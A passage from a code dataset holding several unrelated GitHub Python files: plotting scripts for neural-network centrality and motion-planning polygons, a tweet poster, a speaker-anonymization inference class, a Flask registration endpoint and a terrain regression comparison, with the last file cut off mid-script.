{"seq_id": "32520525834", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport tikzplotlib\nimport scipy.stats as stats\n\naxis_label_size = 18\nfont = {'family' : 'normal',\n        'weight' : 'bold',\n        'size'   : axis_label_size}\nplt.rc('font', **font)\nread_dataset_0_fminst = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_0__sd_dis_.csv',delimiter='')\nread_dataset_25_fminst  = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_25__sd_dis_.csv',delimiter='')\nread_dataset_50_fminst  = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_50__sd_dis_.csv',delimiter='')\nread_dataset_75_fminst  = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_75__sd_dis_.csv',delimiter='')\nread_dataset_100_fminst  = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_100__sd_dis_.csv',delimiter='')\nread_dataset_125_fminst  = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_125__sd_dis_.csv',delimiter='')\nread_dataset_150_fminst  = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_150__sd_dis_.csv',delimiter='')\nread_dataset_175_fminst  = np.genfromtxt('results/base_line_set/fashion/SET__fashion_mnist_for_200_epochs_20210603-164315_num_sd_None_cen_dis_lap_epoch_175__sd_dis_.csv',delimiter='')\n    \n\nmin = min(min(read_dataset_0_fminst),min(read_dataset_25_fminst),min(read_dataset_50_fminst),min(read_dataset_75_fminst),min(read_dataset_100_fminst),min(read_dataset_125_fminst),min(read_dataset_150_fminst),min(read_dataset_175_fminst))\nmax = max(max(read_dataset_0_fminst),max(read_dataset_25_fminst),max(read_dataset_50_fminst),max(read_dataset_75_fminst),max(read_dataset_100_fminst),max(read_dataset_125_fminst),max(read_dataset_150_fminst),max(read_dataset_175_fminst))\n\ninternal = 0.5\nplt.xlim(-10, 10)\nplt.ylim(0, 1.2)\ndensity = stats.gaussian_kde(read_dataset_0_fminst)\nplt.plot(read_dataset_0_fminst, density(read_dataset_0_fminst), label=\"0\")\n\ndensity = stats.gaussian_kde(read_dataset_25_fminst)\nplt.plot(read_dataset_25_fminst, density(read_dataset_25_fminst), label=\"25\")\n\ndensity = stats.gaussian_kde(read_dataset_50_fminst)\nplt.plot(read_dataset_50_fminst, density(read_dataset_50_fminst), label=\"50\")\n\ndensity = stats.gaussian_kde(read_dataset_75_fminst)\nplt.plot(read_dataset_75_fminst, density(read_dataset_75_fminst), label=\"75\")\n\ndensity = stats.gaussian_kde(read_dataset_100_fminst)\nplt.plot(read_dataset_100_fminst, density(read_dataset_100_fminst), label=\"100\")\n\ndensity = stats.gaussian_kde(read_dataset_125_fminst)\nplt.plot(read_dataset_125_fminst, density(read_dataset_125_fminst), label=\"125\")\n\ndensity = stats.gaussian_kde(read_dataset_150_fminst)\nplt.plot(read_dataset_150_fminst, density(read_dataset_150_fminst), label=\"150\")\n\ndensity = stats.gaussian_kde(read_dataset_175_fminst)\nplt.plot(read_dataset_175_fminst, density(read_dataset_175_fminst), label=\"175\")\n\nplt.xlabel(\"Laplacian centrality\", fontsize=axis_label_size-2)\nplt.ylabel(\"Probability density\", fontsize=axis_label_size-2)\nplt.legend(title=\"Epochs[#]\",loc='upper right')\nplt.grid()\n# plt.title(\"Frequency Distribution of Laplacian Centrality of Nodes in MLP on FashionMNIST at Epoch 175\")\n# plt.tight_layout()\n\n# plt.show()\n\n\n\n# plt.title(\"Frequency Distribution of Laplacian Centrality of Nodes in SET on FashionMNIST at Epoch 175\")\n# plt.show()\n# plt.savefig(\"plots/tex/histogram_lap/SET_historgram_fashionMNIST.svg\")\nplt.savefig(\"plots/svg/histogram_lap/SET_historgram_fashionMNIST_line.svg\")\n", "repo_name": "andrewjh9/CenBench", "sub_path": "plot_creation_scripts/centrality_historgrams/SET_lap_cen_dis_200_epochs_fashion_line.py", "file_name": "SET_lap_cen_dis_200_epochs_fashion_line.py", "file_ext": "py", "file_size_in_byte": 3895, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.rc", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.genfromtxt", "line_number": 11, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.genfromtxt", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 27, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 30, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 33, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 36, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 39, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 42, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 45, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "scipy.stats.gaussian_kde", "line_number": 48, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}]}
{"seq_id": "5596657334", "text": "# autopost.py\n\nimport logging\nfrom twitter import post_tweet\nfrom logging_config import setup_logging\n\ndef main():\n    # Set up logging\n    setup_logging()\n    logger = logging.getLogger(__name__)\n\n    # Example of posting a tweet\n    tweet_text = \"Hello, this is tweet number 2!\"\n    post_tweet(tweet_text)\n\n# Run the main function\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "aditya-xq/autosocial", "sub_path": "autopost.py", "file_name": "autopost.py", "file_ext": "py", "file_size_in_byte": 371, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging_config.setup_logging", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "twitter.post_tweet", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "41340548867", "text": "import json\nimport numpy as np\nimport torch\nfrom sklearn.preprocessing import minmax_scale, StandardScaler\n\nfrom anonymization import PoolAnonymizer, RandomAnonymizer, GANAnonymizer\n\n\nANON_MODELS = {\n    'pool': PoolAnonymizer,\n    'random': RandomAnonymizer,\n    'gan': GANAnonymizer\n}\n\n\nclass InferenceAnonymizer:\n\n    def __init__(self, model_name, data_dir, vectors_dir, results_dir, model_dir, device):\n        self.results_dir = results_dir\n        self.data_dir = data_dir\n        self.vectors_dir = vectors_dir\n        self.device = device\n        self.scaling = None\n        self.std_scaler = None\n\n        self.dim_ranges = self._load_dim_ranges(model_dir / 'anonymization' / model_name)\n        self.anonymizer = self._load_anonymizer(model_dir / 'anonymization' / model_name)\n\n    def anonymize_embeddings(self, dataset, emb_level='spk'):\n        dataset_results_dir = self.results_dir / dataset\n        if dataset_results_dir.exists() and any(dataset_results_dir.iterdir()):\n            # if there are already anonymized speaker embeddings from this model and the computation is not forces,\n            # simply load them\n            print('No computation of anonymized embeddings necessary; load existing anonymized speaker embeddings '\n                  'instead...')\n            anon_embeddings = self.anonymizer.load_embeddings(dataset_results_dir)\n            return anon_embeddings, False\n        else:\n            # otherwise, create new anonymized speaker embeddings\n            print('Anonymize speaker embeddings...')\n            anon_embeddings = self.anonymizer.anonymize_data(self.data_dir / dataset,\n                                                             vector_dir=self.vectors_dir / dataset, emb_level=emb_level)\n            if self.dim_ranges:\n                anon_embeddings = self._scale_embeddings(anon_embeddings)\n            dataset_results_dir.mkdir(exist_ok=True)\n            self.anonymizer.save_embeddings(anon_embeddings, dataset_results_dir)\n            return anon_embeddings, True\n\n    def _load_dim_ranges(self, model_dir):\n        if (model_dir / 'stats_per_dim.json').exists():\n            with open(model_dir / 'stats_per_dim.json') as f:\n                dim_ranges = json.load(f)\n                return [(v['min'], v['max']) for k, v in sorted(dim_ranges.items(), key=lambda x: int(x[0]))]\n\n    def _load_anonymizer(self, model_dir):\n        model_name = model_dir.name.lower()\n\n        if 'pool' in model_name:\n            model_type = 'pool'\n        elif 'gan' in model_name:\n            model_type = 'gan'\n            self.dim_ranges = None\n        else:\n            model_type = 'random'\n\n        print(f'Model type of anonymizer: {model_type}')\n\n        model = ANON_MODELS[model_type](device=self.device)\n        model.load_parameters(model_dir)\n\n        if 'minmax' in model_name:\n            self.scaling = 'minmax'\n        elif 'std_scale' in model_name and model_type == 'pool':\n            self.scaling = 'std'\n            self.std_scaler = StandardScaler()\n            self.std_scaler.fit(model.pool_embeddings.speaker_vectors.cpu().numpy())\n\n        return model\n\n    def _scale_embeddings(self, embeddings):\n        vectors = embeddings.speaker_vectors.cpu().numpy()\n\n        if self.scaling == 'minmax':\n            scaled_dims = []\n            for i in range(len(self.dim_ranges)):\n                scaled_dims.append(minmax_scale(vectors[:, i], self.dim_ranges[i], axis=0))\n\n            scaled_vectors = torch.tensor(np.array(scaled_dims)).T.to(self.device)\n            embeddings.speaker_vectors = scaled_vectors\n        elif self.scaling == 'std':\n            scaled_vectors = torch.tensor(self.std_scaler.transform(vectors))\n            embeddings.speaker_vectors = scaled_vectors\n        return embeddings\n\n\n", "repo_name": "DigitalPhonetics/speaker-anonymization", "sub_path": "inference/anonymization.py", "file_name": "anonymization.py", "file_ext": "py", "file_size_in_byte": 3782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 33, "dataset": "github-code", "pt": "81", "api": [{"api_name": "anonymization.PoolAnonymizer", "line_number": 10, "usage_type": "name"}, {"api_name": "anonymization.RandomAnonymizer", "line_number": 11, "usage_type": "name"}, {"api_name": "anonymization.GANAnonymizer", "line_number": 12, "usage_type": "name"}, {"api_name": "json.load", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 75, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.minmax_scale", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 88, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 91, "usage_type": "call"}]}
{"seq_id": "71921085371", "text": "from datetime import datetime\n\nfrom flask import Blueprint, request, make_response, jsonify, current_app\nfrom flask.views import MethodView\nfrom app.configurations import Config\nfrom app.extensions import db\nfrom api.utils import json_abort, exceptions_mapper\nimport hashlib\nfrom models.enums.gender import Gender\nfrom models.users import User\nfrom models.members import Member\n\n\nclass RegisterUser(MethodView):\n    def post(self):\n        data = request.get_json()\n\n        # first time in the system\n        if data.get(\"_id\") is None:\n            user_email = data.get(\"email\")\n            check_if_member_in_db = db.session.query(Member).filter_by(user_id=user_email).first()\n            if check_if_member_in_db:\n                json_abort(409, \"כבר קיים משתמש רשום למערכת עם מייל זה\")\n            check_if_user_in_db = db.session.query(User).filter_by(_id=user_email).first()\n            # if has user in db that its the email\n            if check_if_user_in_db:\n                self.createMember(data)\n            # not exist in no db\n            else:\n                self.createNewUser(data)\n                self.createMember(data)\n            response = make_response(jsonify(message=\"המשתמש נרשם בהצלחה למערכת\"), 200)\n        # the user submit the form at least one time\n        else:\n            user_id = data.get(\"_id\")\n            user_mail = data.get(\"email\")\n            user_from_db = db.session.query(User).filter_by(_id=user_id).first()\n            user_from_db._id = user_mail\n            member_in_db = db.session.query(Member).filter_by(user_id=user_mail).first()\n            if member_in_db is None:\n                self.createMember(data)\n                response = make_response(jsonify(message=\"המשתמש נרשם בהצלחה למערכת\"), 200)\n            else:\n                json_abort(409, \"כבר קיים משתמש רשום למערכת עם מייל זה\")\n\n        return response\n\n    def createMember(self, data):\n        user_date_of_birth = data.get(\"date_of_birth\")\n        try:\n            user_date_of_birth = datetime.strptime(user_date_of_birth, '%Y-%m-%d')\n        except:\n            user_date_of_birth = ''\n        user_email = data.get(\"email\")\n        # check_if_in_member_db = db.session.query(Member).filter_by(user_id=user_email).first()\n        # if check_if_in_member_db:\n        #     json_abort(409, \"Member already exist\")\n        user_password = data.get(\"password\")\n        user_first_name = data.get(\"first_name\")\n        user_last_name = data.get(\"last_name\")\n        # user_gender = Gender.other  # data.get(\"gender\")\n        user_id = user_email\n        if not user_email or not user_password or not user_first_name or not user_last_name:\n            json_abort(400, \"אחד או יותר מהפרמטרים אינו חוקי\")\n        new_member = Member(user_email, user_password, user_first_name, user_last_name, user_date_of_birth, user_id)\n        db.session.add(new_member)\n        db.session.commit()\n\n    def createNewUser(self, data):\n        user_email = data.get(\"email\")\n        new_user = User(_id=user_email)\n        db.session.add(new_user)\n        db.session.commit()\n\n\napi = Blueprint('users_api', __name__, url_prefix=Config.API_PREFIX + '/users')\nuser_register_api = RegisterUser.as_view('user_register_api')\napi.add_url_rule('/register', methods=['POST'], view_func=user_register_api)\n", "repo_name": "avielfedida/RoboAdvisor", "sub_path": "server/api/users_api.py", "file_name": "users_api.py", "file_ext": "py", "file_size_in_byte": 3428, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.views.MethodView", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.request.get_json", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 16, "usage_type": "name"}, {"api_name": "app.extensions.db.session.query", "line_number": 21, "usage_type": "call"}, {"api_name": "models.members.Member", "line_number": 21, "usage_type": "argument"}, {"api_name": "app.extensions.db.session", "line_number": 21, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 21, "usage_type": "name"}, {"api_name": "api.utils.json_abort", "line_number": 23, "usage_type": "call"}, {"api_name": "app.extensions.db.session.query", "line_number": 24, "usage_type": "call"}, {"api_name": "models.users.User", "line_number": 24, "usage_type": "argument"}, {"api_name": "app.extensions.db.session", "line_number": 24, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 24, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 32, "usage_type": "call"}, {"api_name": "app.extensions.db.session.query", "line_number": 37, "usage_type": "call"}, {"api_name": "models.users.User", "line_number": 37, "usage_type": "argument"}, {"api_name": "app.extensions.db.session", "line_number": 37, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 37, "usage_type": "name"}, {"api_name": "app.extensions.db.session.query", "line_number": 39, "usage_type": "call"}, {"api_name": "models.members.Member", "line_number": 39, "usage_type": "argument"}, {"api_name": "app.extensions.db.session", "line_number": 39, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.make_response", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 42, "usage_type": "call"}, {"api_name": "api.utils.json_abort", "line_number": 44, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "name"}, {"api_name": "api.utils.json_abort", "line_number": 64, "usage_type": "call"}, {"api_name": "models.members.Member", "line_number": 65, "usage_type": "call"}, {"api_name": "app.extensions.db.session.add", "line_number": 66, "usage_type": "call"}, {"api_name": "app.extensions.db.session", "line_number": 66, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 66, "usage_type": "name"}, {"api_name": "app.extensions.db.session.commit", "line_number": 67, "usage_type": "call"}, {"api_name": "app.extensions.db.session", "line_number": 67, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 67, "usage_type": "name"}, {"api_name": "models.users.User", "line_number": 71, "usage_type": "call"}, {"api_name": "app.extensions.db.session.add", "line_number": 72, "usage_type": "call"}, {"api_name": "app.extensions.db.session", "line_number": 72, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 72, "usage_type": "name"}, {"api_name": "app.extensions.db.session.commit", "line_number": 73, "usage_type": "call"}, {"api_name": "app.extensions.db.session", "line_number": 73, "usage_type": "attribute"}, {"api_name": "app.extensions.db", "line_number": 73, "usage_type": "name"}, {"api_name": "api.utils", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.Blueprint", "line_number": 76, "usage_type": "call"}, {"api_name": "app.configurations.Config.API_PREFIX", "line_number": 76, "usage_type": "attribute"}, {"api_name": "app.configurations.Config", "line_number": 76, "usage_type": "name"}, {"api_name": "api.utils.add_url_rule", "line_number": 78, "usage_type": "call"}, {"api_name": "api.utils", "line_number": 78, "usage_type": "name"}]}
{"seq_id": "8723354564", "text": "from functions import *\r\nimport numpy as np\r\nfrom imageio import imread\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nfrom matplotlib import cm\r\nimport pandas as pd\r\nimport sys\r\nimport scipy.stats as st\r\n\r\nfrom sklearn.model_selection import train_test_split, cross_val_score\r\nimport sklearn.metrics as metric\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.utils import resample\r\nimport sklearn.linear_model as skl\r\n\r\nterrain_var = imread('SRTM_data_Norway_1.tif') #Read image file\r\n\r\nN = 1000 #Number of random points to extract\r\nx = np.random.randint(0, terrain_var.shape[1], size=N) #Random coordinates\r\ny = np.random.randint(0, terrain_var.shape[0], size=N)\r\nz = terrain_var[y,x] #Extract corresponding value of map to the random indexes above\r\n\r\nmax_degree = 20 #Max polynomial size of runs\r\ntestsize = 0.2 #Test size to be used\r\n\r\nMSE_testOLS_array = np.zeros(max_degree)\r\nMSE_trainOLS_array = np.zeros(max_degree)\r\nMSE_testridge_array = np.zeros(max_degree)\r\nMSE_testlasso_array = np.zeros(max_degree)\r\n\r\ndegrees = np.arange(1, max_degree + 1)\r\n\r\nfor degree in range(1, max_degree + 1):\r\n    lambda_candidates = np.logspace(-10,5,100) \r\n\r\n    X = design_matrix(degree,x,y)\r\n    X_train, X_test, z_train, z_test = train_test_split(X, z, test_size=testsize) #Create / split / scale design matrices\r\n    X_train, X_test = scale(X_train, X_test)\r\n\r\n    z_tilde_train, z_tilde_test, beta = OLS(X_train, X_test, z_train, z_test) #Run OLS\r\n\r\n    MSE_testOLS_array[degree-1] = MSE(z_test, z_tilde_test)\r\n    MSE_trainOLS_array[degree-1] = MSE(z_train, z_tilde_train) #Fill OLS arrays with MSE values\r\n\r\n    z_tilde_test_ridge = Ridge(X_train, X_test, z_train, z_test, lambda_candidates)[1] #Run Ridge\r\n\r\n    MSE_testridge_array[degree-1] = MSE(z_test, z_tilde_test_ridge) #Fill ridge array with MSE values\r\n\r\n    MSE_temp_lasso = np.zeros(len(lambda_candidates))\r\n    for i, this_lambda in enumerate(lambda_candidates): #Run Lasso\r\n        clf = Lasso(alpha = this_lambda).fit(X_train, z_train)\r\n        z_tilde_test_temp = clf.predict(X_test)\r\n        MSE_temp_lasso[i] = MSE(z_test, z_tilde_test_temp)\r\n\r\n    MSE_testlasso_array[degree-1] = np.min(MSE_temp_lasso)\r\n    print(degree) \r\n\r\n#Plot training and test data for OLS\r\nplt.figure() \r\nplt.plot(degrees, MSE_testOLS_array, label=\"Test OLS\")\r\nplt.plot(degrees, MSE_trainOLS_array, label=\"Train OLS\")\r\nplt.xlabel(\"Polynomial degree\", fontsize=\"large\")\r\nplt.ylabel(\"Mean squared error \", fontsize=\"large\")\r\nplt.title(\"N = %i, test size = %.1f%%,\\nOLS on terrain data\"% (N, testsize*100), fontsize=\"x-large\")\r\nplt.grid()\r\nplt.legend()\r\nplt.semilogy()\r\n\r\n#Plot MSE values for test data on all three methods\r\nplt.figure() \r\nplt.plot(degrees, MSE_testOLS_array, label=\"OLS\")\r\nplt.plot(degrees, MSE_testridge_array, label=\"Ridge\")\r\nplt.plot(degrees, MSE_testlasso_array, label=\"Lasso\")\r\nplt.xlabel(\"Polynomial degree\", fontsize=\"large\")\r\nplt.ylabel(\"Mean Squared Error\",fontsize=\"large\")\r\nplt.title(\"N = %i, test size = %.1f%%,\\nMSE of test data on terrain data\"% (N, testsize*100),fontsize=\"x-large\")\r\nplt.grid()\r\nplt.legend()\r\nplt.semilogy()\r\n\r\nplt.show()", "repo_name": "karillouio/FYS-STK4155", "sub_path": "Project1/Functions/ex6_complexity_vs_mse.py", "file_name": "ex6_complexity_vs_mse.py", "file_ext": "py", "file_size_in_byte": 3150, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "imageio.imread", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 20, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.logspace", "line_number": 35, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 77, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 77, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 78, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 79, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 79, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 80, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 80, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 82, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 82, "usage_type": "name"}]}
{"seq_id": "15089266658", "text": "import sys\r\nimport random\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.path as mpPath\r\nimport matplotlib.patches as patches\r\nimport numpy as np\r\nimport matplotlib.lines as mlines\r\nimport math\r\n\r\n'''\r\nSet up matplotlib to create a plot with an empty square\r\n'''\r\ndef setupPlot():\r\n    fig = plt.figure(num=None, figsize=(5, 5), dpi=120, facecolor='w', edgecolor='k')\r\n    ax = fig.subplots()\r\n    ax.set_axisbelow(True)\r\n    ax.set_ylim(-1, 11)\r\n    ax.set_xlim(-1, 11)\r\n    ax.grid(which='minor', linestyle=':', alpha=0.2)\r\n    ax.grid(which='major', linestyle=':', alpha=0.5)\r\n    return fig, ax\r\n\r\n'''\r\nMake a patch for a single pology \r\n'''\r\ndef createPolygonPatch(polygon, color):\r\n    verts = []\r\n    codes= []\r\n    for v in range(0, len(polygon)):\r\n        xy = polygon[v]\r\n        verts.append((xy[0], xy[1]))\r\n        if v == 0:\r\n            codes.append(mpPath.Path.MOVETO)\r\n        else:\r\n            codes.append(mpPath.Path.LINETO)\r\n    verts.append(verts[0])\r\n    codes.append(mpPath.Path.CLOSEPOLY)\r\n    path = mpPath.Path(verts, codes)\r\n    patch = patches.PathPatch(path, facecolor=color, lw=1)\r\n\r\n    return patch\r\n    \r\n\r\n'''\r\nRender the problem  \r\n'''\r\ndef drawProblem(robotStart, robotGoal, polygons):\r\n    _, ax = setupPlot()\r\n    patch = createPolygonPatch(robotStart, 'green')\r\n    ax.add_patch(patch)    \r\n    patch = createPolygonPatch(robotGoal, 'red')\r\n    ax.add_patch(patch)    \r\n    for p in range(0, len(polygons)):\r\n        patch = createPolygonPatch(polygons[p], 'gray')\r\n        ax.add_patch(patch)    \r\n    plt.show()\r\n\r\n'''\r\nDisplay the 